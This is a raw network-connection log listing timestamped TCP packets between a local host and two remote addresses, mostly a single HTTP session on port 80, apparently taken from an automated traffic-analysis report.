Dec 2, 2024 07:37:54.072472095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.072534084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.072532892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.072567940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.073312044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.073357105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.073422909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.073473930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.074206114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.074321985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.074332952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.074388981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.075181007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.075233936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.075258970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.075330973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.076037884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.076162100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.076169014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.076220989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.077003002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.077059984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.077081919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.077117920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.078666925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.078680038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.078706980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.078711987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.078746080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.078746080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.078794003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.078855038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.079639912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.079714060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.079791069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.079838037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.080564022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.080627918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.080656052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.080698013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.081557989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.081574917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.081607103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.081626892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.082364082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.082379103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.082427025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.082427025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.083240986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.083309889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.083343029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.083398104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.084137917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.084227085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.084242105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.084297895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.088030100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.088087082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.136357069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.256210089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.587835073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.587924957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.587924957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.587990046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.588437080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.588490963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.588490963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.588531017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.588972092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.589018106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.589087963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.589159966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.589904070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.589955091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.590008020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.590795994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.590925932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.590992928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.591702938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.591759920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.591774940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.591821909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.592601061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.592653990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.592716932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.592772961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.593522072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.593583107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.593616962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.593734980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.594393969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.594444990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.594511032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.594609022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.595319986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.595376968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.595383883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.595446110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.596223116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.596287966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.596364021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.596466064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.597125053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.597242117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.597326994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.598000050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.598051071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.598115921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.598164082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.598915100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.599071980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.599169970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.599855900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.599916935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.599947929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.600102901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.600718975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.600779057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.600816965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.601155996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.601630926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.601747036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.601762056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.601792097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.602550030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.602592945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.602691889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.603431940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.603543997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.603607893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.604326010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.604383945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.604422092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.604469061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.605237961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.605262041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.605278015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.605304003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.606139898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.606228113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.606406927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.606477976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.607042074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.607105970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.607160091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.607217073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.607944012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.608016014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.608056068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.608099937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.608839989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.608895063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.608937025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.609014034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.609750986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.609833956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.609879017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.609879017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.610641956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.610693932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.610759974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.610802889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.611560106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.611614943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.611615896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.611665964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.612440109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.612606049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.612724066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.613360882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.613415003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.613462925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.613568068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.614262104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.614332914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.614367962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.614460945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.615241051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.615334988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.615385056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.616061926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.616132021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.616163969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.616205931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.616980076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.617067099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.617146969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.617218971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.617882013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.617949963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.617958069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.618031025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.718980074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.719093084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.719110012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.719158888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.719409943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.719472885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.719536066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.719592094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.720324039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.720391035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.720419884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.720469952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.721215010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.721263885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.721337080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.721414089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.722119093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.722178936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.722219944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.722258091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.723045111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.723092079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.723134041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.723182917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.723947048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.724004030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.724030972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.724107981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.724858999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.724926949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.724951029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.724993944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.725744963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.725824118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.725841999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.725904942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.726636887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.726690054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.726727962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.726792097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.727551937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.727612019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.727670908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.727781057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.728511095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.728523970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.728554964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.728583097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.729432106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.729490042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.729532003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.729582071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.730248928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.730312109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.730348110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.730396032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.731132984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.731205940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.731245041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.731333971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.732065916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.732121944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.732157946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.732211113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.732959032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.733030081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.733031034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.733119011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.733865023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.733935118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.734004974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.734097958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.734752893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.734833002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.734843969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.734911919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.735657930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.735718012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.735759020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.735820055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.736552954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.736618042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.736660004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.736746073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.756555080 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:54.757251024 CET	49829	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:54.757267952 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:54.757791996 CET	49829	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:54.757801056 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:54.789616108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.789690018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.789697886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.789771080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.790116072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.790172100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.790208101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.790282965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.790802002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.790865898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.790918112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.790988922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.791745901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.791821957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.791826010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.791898012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.792603970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.792675018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.792756081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.792809963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.793477058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.793535948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.793611050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.793678999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.794399977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.794449091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.794466019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.794543982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.795300007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.795350075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.795382023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.795475006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.796267986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.796318054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.796339989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.796431065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.797091961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.797147036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.797180891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.797243118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.798007011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.798067093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.798099995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.798154116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.798891068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.798947096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.798949957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.799000978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.799851894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.799923897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.799995899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.800049067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.800693989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.800750971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.800868034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.800964117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.801670074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.801692009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.801719904 CET	49823	80	192.168.2.6	185.215.113.206
